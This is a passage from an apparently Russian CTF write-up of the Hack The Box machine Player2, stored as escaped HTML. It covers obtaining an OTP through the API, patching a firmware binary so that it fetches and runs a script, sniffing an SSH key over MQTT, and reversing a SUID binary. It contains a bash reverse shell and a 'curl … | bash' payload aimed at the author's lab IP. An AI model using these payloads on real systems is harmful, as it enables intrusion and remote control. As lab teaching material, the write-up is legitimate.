\u0436\u0435 \u0437\u0430\u043f\u0440\u043e\u0441 \u0432 curl.  <\/p>\n<pre><code class=\"bash\">curl http:\/\/product.player2.htb\/api\/totp --cookie &quot;PHPSESSID=42u8a0kro2kgp4epl6fgj06boe&quot; --header &quot;Content-Type:application\/json&quot; ; echo<\/code><\/pre>\n<p>  <img decoding=\"async\" src=\"https:\/\/habrastorage.org\/webt\/kn\/uj\/fj\/knujfj2r9tfypquhihxykhsh9uk.png\"><\/p>\n<p>  \u0412 \u043e\u0448\u0438\u0431\u043a\u0435 \u0441\u043e\u043e\u0431\u0449\u0430\u0435\u0442\u0441\u044f, \u0447\u0442\u043e \u043d\u0435 \u043c\u0435\u0442\u043e\u0434 GET \u043d\u0435 \u043f\u043e\u0434\u0434\u0435\u0440\u0436\u0438\u0432\u0430\u0435\u0442\u0441\u044f, \u0434\u0430\u0432\u0430\u0439\u0442\u0435 \u0432\u044b\u043f\u043e\u043b\u043d\u0438\u043c \u0437\u0430\u043f\u0440\u043e\u0441 \u043c\u0435\u0442\u043e\u0434\u043e\u043c POST.  <\/p>\n<pre><code class=\"bash\">curl -X POST http:\/\/product.player2.htb\/api\/totp --cookie &quot;PHPSESSID=42u8a0kro2kgp4epl6fgj06boe&quot; --header &quot;Content-Type:application\/json&quot; --data ; echo<\/code><\/pre>\n<p>  <img decoding=\"async\" src=\"https:\/\/habrastorage.org\/webt\/xu\/ip\/g3\/xuipg33ixhpioysccw03gyrbv_4.png\"><\/p>\n<p>  \u0418 \u043e\u0448\u0438\u0431\u043a\u0430 \u043c\u0435\u043d\u044f\u0435\u0442\u0441\u044f. \u0422\u0435\u043f\u0435\u0440\u044c \u0443 \u043d\u0430\u0441 \u043d\u0435 \u0432\u0430\u043b\u0438\u0434\u043d\u044b\u0439 action. \u0414\u0430\u0432\u0430\u0439\u0442\u0435 \u043e\u0442\u043f\u0440\u0430\u0432\u0438\u043c \u0437\u0430\u043f\u0440\u043e\u0441 \u0441 \u043f\u0430\u0440\u0430\u043c\u0435\u0442\u0440\u043e\u043c action.  <\/p>\n<pre><code class=\"bash\">curl -X POST http:\/\/product.player2.htb\/api\/totp --cookie &quot;PHPSESSID=42u8a0kro2kgp4epl6fgj06boe&quot; --header &quot;Content-Type:application\/json&quot; --data '{&quot;action&quot;: 0}'; echo<\/code><\/pre>\n<p>  <img decoding=\"async\" src=\"https:\/\/habrastorage.org\/webt\/ma\/8y\/xz\/ma8yxzlpqoe8yx4xm17bwsdb8cc.png\"><\/p>\n<p>  \u0418 \u043f\u043e\u043b\u0443\u0447\u0430\u0435\u043c \u043a\u043e\u0434. \u0418 \u044d\u0442\u043e \u0435\u0441\u0442\u044c OTP. \u0412\u0432\u043e\u0434\u0438\u043c \u0435\u0433\u043e \u0438 \u0437\u0430\u0445\u043e\u0434\u0438\u043c \u043d\u0430 \u0441\u0430\u0439\u0442.<\/p>\n<p>  <img decoding=\"async\" src=\"https:\/\/habrastorage.org\/webt\/wp\/ru\/uz\/wpruuzt8f0fctze1z6opnbi_bhi.png\"><\/p>\n<p>  \u041f\u0440\u043e\u0441\u043c\u0430\u0442\u0440\u0438\u0432\u0430\u044f \u0441\u0430\u0439\u0442, \u043d\u0430\u0445\u043e\u0434\u0438\u043c \u0441\u0441\u044b\u043b\u043a\u0443 \u043d\u0430 \u0434\u043e\u043a\u0443\u043c\u0435\u043d\u0442\u0430\u0446\u0438\u044e.<\/p>\n<p>  <img decoding=\"async\" src=\"https:\/\/habrastorage.org\/webt\/vx\/ol\/jd\/vxoljdtp6d_ndzik6c4krohazhi.png\"><\/p>\n<p>  \u041e\u0442\u043a\u0440\u043e\u0435\u043c \u0438 \u043e\u0437\u043d\u0430\u043a\u043e\u043c\u0438\u043c\u0441\u044f \u0441 \u043d\u0435\u0439.<\/p>\n<p>  <img decoding=\"async\" src=\"https:\/\/habrastorage.org\/webt\/4i\/q6\/mp\/4iq6mph_c0m0if4cg0wcnj8xouc.png\"><\/p>\n<p>  \u0420\u0435\u0447\u044c \u0438\u0434\u0435\u0442 \u043e \u043f\u0440\u043e\u0448\u0438\u0432\u043a\u0435, \u043f\u0440\u0438\u0447\u0435\u043c \u0435\u0441\u0442\u044c \u0441\u0441\u044b\u043b\u043a\u0430 \u043d\u0430 \u0441\u043a\u0430\u0447\u0438\u0432\u0430\u043d\u0438\u0435 \u0438 \u043f\u0440\u043e\u0432\u0435\u0440\u043a\u0443 \u0440\u0430\u0431\u043e\u0442\u043e\u0441\u043f\u043e\u0441\u043e\u0431\u043d\u043e\u0441\u0442\u0438.<\/p>\n<h2>Entry point<\/h2>\n<p>  \u0420\u0430\u0437\u0430\u0440\u0445\u0438\u0432\u0438\u0440\u0443\u0435\u043c \u0444\u0430\u0439\u043b \u043f\u0440\u043e\u0448\u0438\u0432\u043a\u0438 \u0438 \u043f\u0435\u0440\u0432\u044b\u043c \u0434\u0435\u043b\u043e\u043c \u043f\u043e\u0441\u043c\u043e\u0442\u0440\u0438\u043c \u0441\u0442\u0440\u043e\u043a\u0438.  <\/p>\n<pre><code class=\"bash\">strings Protobs.bin<\/code><\/pre>\n<p>  <img decoding=\"async\" src=\"https:\/\/habrastorage.org\/webt\/h5\/um\/he\/h5umheov57hhmslicumsc-_lcao.png\"><\/p>\n<p>  \u041d\u0430\u0445\u043e\u0434\u0438\u043c \u0441\u0442\u0440\u043e\u043a\u0438 \u0441 stty, \u0438 \u043c\u043e\u0436\u043d\u043e \u0441\u0434\u0435\u043b\u0430\u0442\u044c \u043f\u0440\u0435\u0434\u043f\u043e\u043b\u043e\u0436\u0435\u043d\u0438\u0435, \u0447\u0442\u043e \u043f\u0440\u043e\u0433\u0440\u0430\u043c\u043c\u044b \u0432\u044b\u043f\u043e\u043b\u043d\u044f\u0435\u0442 \u044d\u0442\u0443 \u043a\u043e\u043c\u0430\u043d\u0434\u0443. \u041c\u043e\u0436\u043d\u043e \u0437\u0430\u043c\u0435\u043d\u0438\u0442\u044c \u044d\u0442\u0443 \u0441\u0442\u0440\u043e\u043a\u0443 \u043d\u0430 \u0448\u0435\u043b\u043b. \u0414\u0430\u0432\u0430\u0439\u0442\u0435 \u043d\u0430\u0439\u0434\u0435\u043c \u043c\u0435\u0441\u0442\u043e\u043f\u043e\u043b\u043e\u0436\u0435\u043d\u0438\u0435 \u044d\u0442\u043e\u0439 \u0441\u0442\u0440\u043e\u043a\u0438 \u0432 \u0444\u0430\u0439\u043b\u0435 (-t) \u0432 \u0434\u0435\u0441\u044f\u0442\u0438\u0447\u043d\u043e\u043c \u0432\u0438\u0434\u0435 (d).  <\/p>\n<pre><code class=\"bash\">strings -t d Protobs.bin | grep stty<\/code><\/pre>\n<p>  <img decoding=\"async\" src=\"https:\/\/habrastorage.org\/webt\/xc\/re\/nt\/xcrentclbnyzybhpzx559phtef4.png\"><\/p>\n<p>  \u0421\u043e\u0437\u0434\u0430\u0434\u0438\u043c \u0444\u0430\u0439\u043b \u0441 \u043a\u043e\u043c\u0430\u043d\u0434\u043e\u0439, \u043a\u043e\u0442\u043e\u0440\u0430\u044f \u0432\u044b\u043f\u043e\u043b\u043d\u0438\u0442\u0441\u044f \u043d\u0430 \u0441\u0435\u0440\u0432\u0435\u0440\u0435, \u044d\u0442\u043e \u0431\u0443\u0434\u0435\u0442 \u0431\u044d\u043a\u043a\u043e\u043d\u043d\u0435\u0442 \u0448\u0435\u043b\u043b.  <\/p>\n<pre><code class=\"bash\">bash -i &gt;&amp; \/dev\/tcp\/10.10.14.37\/4321 0&gt;&amp;1<\/code><\/pre>\n<p>  \u0421\u0434\u0435\u043b\u0430\u0435\u043c \u0442\u0430\u043a, \u0447\u0442\u043e\u0431\u044b \u043f\u0440\u0438 \u0442\u0435\u0441\u0442\u0435 \u043f\u0440\u043e\u0448\u0438\u0432\u043a\u0438 \u0441\u0435\u0440\u0432\u0435\u0440 \u043f\u043e\u043b\u0443\u0447\u0430\u043b \u0434\u0430\u043d\u043d\u0443\u044e \u043a\u043e\u043c\u0430\u043d\u0434\u0443 \u0438 \u043f\u0435\u0440\u0435\u0434\u0430\u0432\u0430\u043b \u0435\u0435 \u0432 bash.  <\/p>\n<pre><code class=\"bash\">printf &quot;curl 10.10.14.37\/rs | bash\\x00&quot; &gt; new_cmd<\/code><\/pre>\n<p>  \u0422\u0435\u043f\u0435\u0440\u044c \u0437\u0430\u043c\u0435\u043d\u0438\u043c \u043a\u043e\u043c\u0430\u043d\u0434\u0443 \u0438\u0437 \u043f\u0440\u043e\u0448\u0438\u0432\u043a\u0438 \u043d\u0430 \u043d\u043e\u0432\u0443\u044e \u043a\u043e\u043c\u0430\u043d\u0434\u0443.  <\/p>\n<pre><code class=\"bash\">dd if=new_cmd of=Protobs.bin obs=1 seek=8420 conv=notrunc<\/code><\/pre>\n<p>  <img decoding=\"async\" src=\"https:\/\/habrastorage.org\/webt\/sh\/6g\/ah\/sh6gahpomswfxcgiebxpnyhyq1k.png\"><\/p>\n<p>  \u0421\u043d\u043e\u0432\u0430 \u043f\u0440\u043e\u0432\u0435\u0440\u0438\u043c \u0441\u0442\u0440\u043e\u043a\u0438 \u0432 \u0444\u0430\u0439\u043b\u0435.<\/p>\n<p>  <img decoding=\"async\" src=\"https:\/\/habrastorage.org\/webt\/k8\/jt\/rm\/k8jtrmbok4ipcqmk1_qmd04xct8.png\"><\/p>\n<p>  \u041e\u0442\u043b\u0438\u0447\u043d\u043e. \u0417\u0430\u043f\u0443\u0441\u0442\u0438\u043c \u043b\u043e\u043a\u0430\u043b\u044c\u043d\u044b\u0439 \u0432\u0435\u0431 \u0441\u0435\u0440\u0432\u0435\u0440, \u0443\u043f\u0430\u043a\u0443\u0435\u043c \u043f\u0440\u043e\u0448\u0438\u0432\u043a\u0443 \u043e\u0431\u0440\u0430\u0442\u043d\u043e \u0438 \u0437\u0430\u0433\u0440\u0443\u0437\u0438\u043c \u0444\u0430\u0439\u043b \u043d\u0430 \u0441\u0435\u0440\u0432\u0435\u0440.<\/p>\n<p>  <img decoding=\"async\" src=\"https:\/\/habrastorage.org\/webt\/cp\/tk\/r1\/cptkr1vglda08wwsr27oze5az4s.png\"><\/p>\n<p>  \u0418 \u0443\u0432\u0438\u0434\u0438\u043c \u043f\u043e\u0434\u043a\u043b\u044e\u0447\u0435\u043d\u0438\u0435.<\/p>\n<p>  <img decoding=\"async\" src=\"https:\/\/habrastorage.org\/webt\/xf\/tr\/-m\/xftr-mzocs0o7wr1d6fw87atdco.png\"><\/p>\n<h2>USER<\/h2>\n<p>  \u0417\u0430\u0433\u0440\u0443\u0436\u0430\u0435\u043c \u043d\u0430 \u0445\u043e\u0441\u0442 LinPEAS \u0438 \u043f\u0440\u043e\u0432\u043e\u0434\u0438\u043c \u043f\u0435\u0440\u0435\u0447\u0438\u0441\u043b\u0435\u043d\u0438\u0435 \u0441\u0438\u0441\u0442\u0435\u043c\u044b. \u0414\u043b\u044f \u0441\u0435\u0431\u044f \u043e\u0442\u043c\u0435\u0447\u0430\u0435\u043c \u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u0435\u0439, \u043a\u043e\u0442\u043e\u0440\u044b\u0435 \u0435\u0441\u0442\u044c \u0432 \u0441\u0438\u0441\u0442\u0435\u043c\u0435.<\/p>\n<p>  <img decoding=\"async\" src=\"https:\/\/habrastorage.org\/webt\/5q\/3p\/md\/5q3pmd1vsqeq36iomcbr8lpezie.png\"><\/p>\n<p>  \u0422\u0430\u043a \u0436\u0435 \u043e\u0442\u043c\u0435\u0447\u0430\u0435\u043c \u0434\u043b\u044f \u0441\u0435\u0431\u044f \u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u044f, \u043a\u043e\u0442\u043e\u0440\u043e\u0433\u043e \u043d\u0435\u043e\u0431\u0445\u043e\u0434\u0438\u043c\u043e \u043f\u043e\u043b\u0443\u0447\u0438\u0442\u044c.<\/p>\n<p>  <img decoding=\"async\" src=\"https:\/\/habrastorage.org\/webt\/ts\/qe\/aq\/tsqeaq-r6jyh_ctvwif4kyjr8b8.png\"><\/p>\n<p>  \u0418 \u0438\u0437 \u0441\u043b\u0435\u0434\u0443\u044e\u0449\u0435\u0439 \u0438\u043d\u0444\u043e\u0440\u043c\u0430\u0446\u0438\u0438 \u043e\u0442\u043c\u0435\u0447\u0430\u0435\u043c \u0434\u043b\u044f \u0441\u0435\u0431\u044f \u0441\u043b\u0443\u0436\u0431\u0443 mosquitto.<\/p>\n<p>  <img decoding=\"async\" src=\"https:\/\/habrastorage.org\/webt\/eq\/yi\/v0\/eqyiv0oqxal-hiij6pbfgnzmhwq.png\"><\/p>\n<p>  MQTT \u2014 \u044d\u0442\u043e \u043f\u0440\u043e\u0441\u0442\u043e\u0439 \u0438 \u043b\u0435\u0433\u043a\u0438\u0439 \u043f\u0440\u043e\u0442\u043e\u043a\u043e\u043b \u043e\u0431\u043c\u0435\u043d\u0430 \u0441\u043e\u043e\u0431\u0449\u0435\u043d\u0438\u044f\u043c\u0438, \u0440\u0430\u0437\u0440\u0430\u0431\u043e\u0442\u0430\u043d\u043d\u044b\u0439 \u0434\u043b\u044f \u0443\u0441\u0442\u0440\u043e\u0439\u0441\u0442\u0432 \u0441 \u043e\u0433\u0440\u0430\u043d\u0438\u0447\u0435\u043d\u043d\u044b\u043c\u0438 \u0432\u043e\u0437\u043c\u043e\u0436\u043d\u043e\u0441\u0442\u044f\u043c\u0438 \u0438 \u0441\u0435\u0442\u0435\u0439 \u0441 \u043d\u0438\u0437\u043a\u043e\u0439 \u043f\u0440\u043e\u043f\u0443\u0441\u043a\u043d\u043e\u0439 \u0441\u043f\u043e\u0441\u043e\u0431\u043d\u043e\u0441\u0442\u044c\u044e, \u0432\u044b\u0441\u043e\u043a\u043e\u0439 \u0437\u0430\u0434\u0435\u0440\u0436\u043a\u043e\u0439. \u041f\u0440\u0438\u043d\u0446\u0438\u043f\u044b \u043f\u0440\u043e\u0435\u043a\u0442\u0438\u0440\u043e\u0432\u0430\u043d\u0438\u044f \u0437\u0430\u043a\u043b\u044e\u0447\u0430\u044e\u0442\u0441\u044f \u0432 \u0442\u043e\u043c, \u0447\u0442\u043e\u0431\u044b \u043c\u0438\u043d\u0438\u043c\u0438\u0437\u0438\u0440\u043e\u0432\u0430\u0442\u044c \u043f\u0440\u043e\u043f\u0443\u0441\u043a\u043d\u0443\u044e \u0441\u043f\u043e\u0441\u043e\u0431\u043d\u043e\u0441\u0442\u044c \u0441\u0435\u0442\u0438 \u0438 \u0442\u0440\u0435\u0431\u043e\u0432\u0430\u043d\u0438\u044f \u043a \u0440\u0435\u0441\u0443\u0440\u0441\u0430\u043c \u0443\u0441\u0442\u0440\u043e\u0439\u0441\u0442\u0432\u0430, \u043e\u0434\u043d\u043e\u0432\u0440\u0435\u043c\u0435\u043d\u043d\u043e \u043f\u044b\u0442\u0430\u044f\u0441\u044c \u043e\u0431\u0435\u0441\u043f\u0435\u0447\u0438\u0442\u044c \u043d\u0430\u0434\u0435\u0436\u043d\u043e\u0441\u0442\u044c \u0438 \u043d\u0435\u043a\u043e\u0442\u043e\u0440\u0443\u044e \u0441\u0442\u0435\u043f\u0435\u043d\u044c \u0433\u0430\u0440\u0430\u043d\u0442\u0438\u0438 \u0434\u043e\u0441\u0442\u0430\u0432\u043a\u0438 \u0441\u043e\u043e\u0431\u0449\u0435\u043d\u0438\u044f. <\/p>\n<p>  \u041a\u0430\u043a \u0441\u043b\u0435\u0434\u0443\u0435\u0442 <a href=\"https:\/\/book.hacktricks.xyz\/pentesting\/1883-pentesting-mqtt-mosquitto\" rel=\"nofollow\">\u043e\u0442\u0441\u044e\u0434\u0430<\/a>, \u0430\u0443\u0442\u0435\u043d\u0442\u0438\u0444\u0438\u043a\u0430\u0446\u0438\u044f \u044f\u0432\u043b\u044f\u0435\u0442\u0441\u044f \u043d\u0435\u043e\u0431\u044f\u0437\u0430\u0442\u0435\u043b\u044c\u043d\u043e\u0439, \u0438 \u0434\u0430\u0436\u0435 \u0435\u0441\u043b\u0438 \u0430\u0443\u0442\u0435\u043d\u0442\u0438\u0444\u0438\u043a\u0430\u0446\u0438\u044f \u0432\u044b\u043f\u043e\u043b\u043d\u044f\u0435\u0442\u0441\u044f, \u0448\u0438\u0444\u0440\u043e\u0432\u0430\u043d\u0438\u0435 \u043f\u043e \u0443\u043c\u043e\u043b\u0447\u0430\u043d\u0438\u044e \u043d\u0435 \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u0443\u0435\u0442\u0441\u044f. \u0422\u043e \u0435\u0441\u0442\u044c \u0432\u044b\u043f\u043e\u043b\u043d\u0438\u043c MITM \u0430\u0442\u0430\u043a\u0443, \u043c\u044b \u043c\u043e\u0436\u0435\u043c \u043f\u043e\u043b\u0443\u0447\u0438\u0442\u044c \u0443\u0447\u0435\u0442\u043d\u044b\u0435 \u0434\u0430\u043d\u043d\u044b\u0435 \u0432 \u043e\u0442\u043a\u0440\u044b\u0442\u043e\u043c \u0432\u0438\u0434\u0435. \u0422\u0430\u043a \u0436\u0435 \u043f\u0440\u0438\u0432\u043e\u0434\u0438\u0442\u0441\u044f \u0441\u043a\u0440\u0438\u043f\u0442 \u0434\u043b\u044f \u043f\u043e\u0434\u043a\u043b\u044e\u0447\u0435\u043d\u0438\u044f \u0438 \u043f\u0440\u0438\u043c\u0435\u0440 \u0440\u0430\u0431\u043e\u0442\u044b.<\/p>\n<p>  <img decoding=\"async\" src=\"https:\/\/habrastorage.org\/webt\/fr\/we\/0y\/frwe0yi1gbbbqkkpuxmeovp-uuq.png\"><\/p>\n<p>  \u041d\u043e \u043d\u0430 \u0445\u043e\u0441\u0442\u0435 \u0441\u043a\u043e\u0440\u0435\u0435 \u0432\u0441\u0435\u0433\u043e \u043d\u0435 \u0443\u0441\u0442\u0430\u043d\u043e\u0432\u043b\u0435\u043d\u044b \u043d\u0435\u043e\u0431\u0445\u043e\u0434\u0438\u043c\u044b\u0435 \u043c\u043e\u0434\u0443\u043b\u0438 python. \u041f\u043e\u044d\u0442\u043e\u043c\u0443 \u043a\u0430\u043a \u0440\u0430\u0431\u043e\u0442\u0430\u0442\u044c \u0441 MQTT \u043c\u043e\u0436\u043d\u043e \u043f\u043e\u0441\u043c\u043e\u0442\u0440\u0435\u0442\u044c <a href=\"https:\/\/www.8host.com\/blog\/ustanovka-brokera-soobshhenij-mosquitto-v-ubuntu-18-04\/\" rel=\"nofollow\">\u0437\u0434\u0435\u0441\u044c<\/a>.<br \/>  \u0421\u043e\u0432\u043c\u0435\u0441\u0442\u0438\u0432 \u0434\u0432\u0430 \u0438\u0441\u0442\u043e\u0447\u043d\u0438\u043a\u0430 \u0437\u0430\u043f\u0440\u043e\u0441\u0438\u043c \u0441\u043e\u043e\u0431\u0449\u0435\u043d\u0438\u044f \u043f\u043e \u0442\u0435\u043c\u0435 \u201c$SYS\/#\u201d  <\/p>\n<pre><code class=\"bash\">mosquitto_sub -h localhost -p 1883 -t '$SYS\/#'<\/code><\/pre>\n<p>  \u0418 \u043d\u0435\u043c\u043d\u043e\u0433\u043e \u043f\u043e\u0434\u043e\u0436\u0434\u0430\u0432, \u0443\u0432\u0438\u0434\u0438\u043c \u043f\u0435\u0440\u0435\u0434\u0430\u0432\u0430\u0435\u043c\u044b\u0439 SSH \u043a\u043b\u044e\u0447.<\/p>\n<p>  <img decoding=\"async\" src=\"https:\/\/habrastorage.org\/webt\/eg\/8i\/kt\/eg8iktu0usfv4dvsvrc8lsyawpg.png\"><\/p>\n<p>  \u0421\u043e\u0445\u0440\u0430\u043d\u044f\u0435\u043c \u0441\u0435\u0431\u0435 \u043a\u043b\u044e\u0447 \u0438 \u043f\u043e\u0434\u043a\u043b\u044e\u0447\u0430\u0435\u043c\u0441\u044f \u0441 \u043d\u0438\u043c (\u043c\u044b \u0436\u0435 \u0437\u043d\u0430\u0435\u043c \u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u044f).<\/p>\n<p>  <img decoding=\"async\" src=\"https:\/\/habrastorage.org\/webt\/dl\/le\/_b\/dlle_bwruw5tiekqwun4_pv_co8.png\"><\/p>\n<h2>ROOT<\/h2>\n<p>  \u0418 \u0432 \u0434\u043e\u043c\u0430\u0448\u043d\u0435\u0439 \u0434\u0438\u0440\u0435\u043a\u0442\u043e\u0440\u0438\u0438 \u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u044f \u043d\u0430\u0445\u043e\u0434\u0438\u043c \u0434\u043e\u043a\u0443\u043c\u0435\u043d\u0442.<\/p>\n<p>  <img decoding=\"async\" src=\"https:\/\/habrastorage.org\/webt\/jh\/bg\/ep\/jhbgepwjpkf103zopualmjtn8_k.png\"><\/p>\n<p>  \u0421\u043a\u0430\u0447\u0438\u0432\u0430\u0435\u043c, \u0438\u0437\u0443\u0447\u0430\u0435\u043c. \u0423\u043f\u043e\u043c\u0438\u043d\u0430\u0435\u0442\u0441\u044f \u043f\u0440\u0438\u043b\u043e\u0436\u0435\u043d\u0438\u0435 Protobs. \u0414\u0430\u0432\u0430\u0439\u0442\u0435 \u043f\u043e\u0438\u0449\u0435\u043c \u0435\u0433\u043e \u0432 \u0441\u0438\u0441\u0442\u0435\u043c\u0435.<\/p>\n<p>  <img decoding=\"async\" src=\"https:\/\/habrastorage.org\/webt\/d6\/ih\/hf\/d6ihhftup4f8dmosiykowuzhozm.png\"><\/p>\n<p>  <img decoding=\"async\" src=\"https:\/\/habrastorage.org\/webt\/y3\/zp\/jz\/y3zpjzaistva6kznc7g1d9azhwm.png\"><\/p>\n<p>  \u0422\u0430\u043a\u0438\u043c \u043e\u0431\u0440\u0430\u0437\u043e\u043c, \u0434\u043b\u044f \u043f\u0440\u0438\u043b\u043e\u0436\u0435\u043d\u0438\u044f \u0432\u044b\u0441\u0442\u0430\u0432\u043b\u0435\u043d suid \u0431\u0438\u0442, \u0432 \u044d\u0442\u043e \u0437\u043d\u0430\u0447\u0438\u0442, \u0447\u0442\u043e \u043e\u043d\u043e \u0440\u0430\u0431\u043e\u0442\u0430\u0435\u0442 \u043e\u0442 \u0438\u043c\u0435\u043d\u0438 root. \u0421\u043a\u0430\u0447\u0438\u0432\u0430\u0435\u043c \u043d\u0430 \u043b\u043e\u043a\u0430\u043b\u044c\u043d\u0443\u044e \u043c\u0430\u0448\u0438\u043d\u0443 \u043f\u0440\u0438\u043b\u043e\u0436\u0435\u043d\u0438\u0435 \u0438 \u0431\u0438\u0431\u043b\u0438\u043e\u0442\u0435\u043a\u0438. \u041f\u0440\u043e\u0432\u0435\u0440\u0438\u043c \u0438\u043c\u0435\u044e\u0449\u0443\u044e\u0441\u044f \u0437\u0430\u0449\u0438\u0442\u0443.<\/p>\n<p>  <img decoding=\"async\" src=\"https:\/\/habrastorage.org\/webt\/t8\/in\/-5\/t8in-5ni20j1zan6swfn-wctc-g.png\"><\/p>\n<p>  \u0422\u0430\u043a\u0438\u043c \u043e\u0431\u0440\u0430\u0437\u043e\u043c, \u0432\u0441\u0435 \u0438\u043c\u0435\u0435\u0442\u0441\u044f, \u043a\u0440\u043e\u043c\u0435 PIE. \u041f\u0440\u0438 \u044d\u0442\u043e\u043c \u0443\u043a\u0430\u0437\u0430\u043d RUNPATH, \u043f\u043e\u044d\u0442\u043e\u043c\u0443 \u0441\u043e\u0437\u0434\u0430\u0434\u0438\u043c \u043d\u0430 \u043b\u043e\u043a\u0430\u043b\u044c\u043d\u043e\u0439 \u043c\u0430\u0448\u0438\u043d\u0435 \u0434\u0430\u043d\u043d\u0443\u044e \u0434\u0438\u0440\u0435\u043a\u0442\u043e\u0440\u0438\u044e \u0438 \u043f\u0435\u0440\u0435\u043c\u0435\u0441\u0442\u0438\u043c \u0432 \u043d\u0435\u0435 \u0444\u0430\u0439\u043b\u044b. \u041e\u0442\u043a\u0440\u043e\u0435\u043c \u043f\u0440\u043e\u0433\u0440\u0430\u043c\u043c\u0443 \u0432 \u0434\u0438\u0437\u0430\u0441\u0441\u0435\u043c\u0431\u043b\u0435\u0440\u0435 \u0441 \u0434\u0435\u043a\u043e\u043c\u043f\u0438\u043b\u044f\u0442\u043e\u0440\u043e\u043c (\u044f \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u0443\u044e IDA Pro), \u0434\u0435\u043a\u043e\u043c\u043f\u0438\u043b\u0438\u0440\u0443\u0435\u043c \u0438 \u043f\u0435\u0440\u0435\u0439\u0434\u0435\u043c \u0432 \u0444\u0443\u043d\u043a\u0446\u0438\u044e main.<\/p>\n<p>  <img decoding=\"async\" src=\"https:\/\/habrastorage.org\/webt\/vt\/mx\/us\/vtmxus6v6drv8nbgs8zs7rdqsko.png\"><\/p>\n<p>  \u041f\u0440\u0438 \u0437\u0430\u043f\u0443\u0441\u043a\u0435 \u043f\u0440\u043e\u0433\u0440\u0430\u043c\u043c\u044b \u043c\u044b \u043f\u043e\u043b\u0443\u0447\u0438\u043c \u0434\u0432\u0430 \u0441\u043e\u043e\u0431\u0449\u0435\u043d\u0438\u044f, \u043f\u043e\u0441\u043b\u0435 \u0447\u0435\u0433\u043e \u0431\u0443\u0434\u0435\u0442 \u0432\u044b\u043f\u043e\u043b\u043d\u0435\u043d\u0430 \u0444\u0443\u043d\u043a\u0446\u0438\u044f \u0438 \u043c\u044b \u043f\u043e\u043f\u0430\u0434\u0430\u0435\u043c \u0432 \u0431\u0435\u0441\u043a\u043e\u043d\u0435\u0447\u043d\u044b\u0439 \u0446\u0438\u043a\u043b. \u0414\u0430\u043d\u043d\u0430\u044f \u0444\u0443\u043d\u0446\u0438\u044f \u043d\u0443\u0436\u043d\u0430 \u0434\u043b\u044f \u0432\u044b\u0432\u043e\u0434\u0430 \u0431\u0430\u043d\u043d\u0435\u0440\u0430.<\/p>\n<p>  <img decoding=\"async\" src=\"https:\/\/habrastorage.org\/webt\/bh\/bs\/wg\/bhbswgwga0hyphiub1dq0ezkhpc.png\"><\/p>\n<p>  \u0414\u0430\u0432\u0430\u0439\u0442\u0435 \u043f\u043e\u0441\u043c\u043e\u0442\u0440\u0438\u043c \u0444\u0443\u043d\u043a\u0446\u0438\u044e \u0432 \u0446\u0438\u043a\u043b\u0435.<\/p>\n<p>  <img decoding=\"async\" src=\"https:\/\/habrastorage.org\/webt\/mr\/nl\/ik\/mrnlikfuj7e2mj-n9id5dkvyn1q.png\"><\/p>\n<p>  \u0422\u0430\u043a\u0438\u043c \u043e\u0431\u0440\u0430\u0437\u043e\u043c \u043c\u044b \u043f\u043e\u043b\u0443\u0447\u0430\u0435\u043c \u043f\u0440\u0438\u0433\u043b\u0430\u0448\u0435\u043d\u0438\u0435 \u0434\u043b\u044f \u0432\u0432\u043e\u0434\u0430 \u0438 \u0432 \u0437\u0430\u0432\u0438\u0441\u0438\u043c\u043e\u0441\u0442\u0438 \u043e\u0442 \u043d\u0430\u0448\u0435\u0433\u043e \u0432\u0432\u043e\u0434\u0430 \u0431\u0443\u0434\u0435\u0442 \u0432\u044b\u043f\u043e\u043b\u043d\u0435\u043d\u0430 \u043e\u0434\u043d\u0430 \u0438\u0437 6 \u0444\u0443\u043d\u043a\u0446\u0438\u0439. \u041e\u0442\u043c\u0435\u0442\u0438\u043c, \u0447\u0442\u043e \u043f\u0440\u0438\u0441\u0443\u0442\u0441\u0442\u0432\u0443\u0435\u0442 \u043a\u0430\u043d\u0430\u0440\u0435\u0439\u043a\u0430 (\u043f\u0435\u0440\u0435\u043c\u0435\u043d\u043d\u0430\u044f v2). \u0414\u0430\u0432\u0430\u0439\u0442\u0435 \u043f\u043e\u0441\u043c\u043e\u0442\u0440\u0438\u043c \u043d\u0430 \u0432\u0441\u0435 \u0444\u0443\u043d\u043a\u0446\u0438\u0438.<\/p>\n<p>  <img decoding=\"async\" src=\"https:\/\/habrastorage.org\/webt\/sq\/9p\/b9\/sq9pb9ai2078rttcjmhklzyhwsy.png\"><\/p>\n<p>  \u041d\u0430\u0447\u0438\u043d\u0430\u0435\u043c \u0441 \u043f\u0435\u0440\u0432\u043e\u0439 \u0438 \u043f\u043e\u043d\u0438\u043c\u0430\u0435\u043c, \u0447\u0442\u043e \u044d\u0442\u043e \u0444\u0443\u043d\u043a\u0446\u0438\u044f help, \u043a\u043e\u0442\u043e\u0440\u0430\u044f \u0432\u044b\u0432\u043e\u0434\u0438\u0442 \u0441\u043f\u0440\u0430\u0432\u043a\u0443.<\/p>\n<p>  <img decoding=\"async\" src=\"https:\/\/habrastorage.org\/webt\/ws\/lz\/jy\/wslzjy8s3uene9pa8m3wxldhncm.png\"><\/p>\n<p>  \u0421\u0440\u0430\u0437\u0443 \u043e\u0442\u043c\u0435\u0447\u0430\u0435\u043c, \u0447\u0442\u043e \u043f\u043e\u0441\u043b\u0435\u0434\u043d\u044f\u044f \u0441\u043b\u0443\u0436\u0438\u0442 \u0434\u043b\u044f \u0437\u0430\u0432\u0435\u0440\u0448\u0435\u043d\u0438\u044f \u043a\u043e\u043c\u0430\u043d\u0434\u044b.<\/p>\n<p>  <img decoding=\"async\" src=\"https:\/\/habrastorage.org\/webt\/ak\/sb\/ro\/aksbrojm_oeyhwfo3nqbplzjjbo.png\"><\/p>\n<p>  \u041f\u0440\u0438 \u0432\u044b\u0431\u043e\u0440\u0435 \u201c1\u201d \u043f\u043e\u043f\u0430\u0434\u0430\u0435\u043c \u0432 \u0444\u0443\u043d\u043a\u0446\u0438\u044e, \u043a\u043e\u0442\u043e\u0440\u0430\u044f \u0432\u044b\u0432\u043e\u0434\u0438\u0442 \u043a\u043e\u043d\u0444\u0438\u0433\u0443\u0440\u0430\u0446\u0438\u0438.<\/p>\n<p>  <img decoding=\"async\" 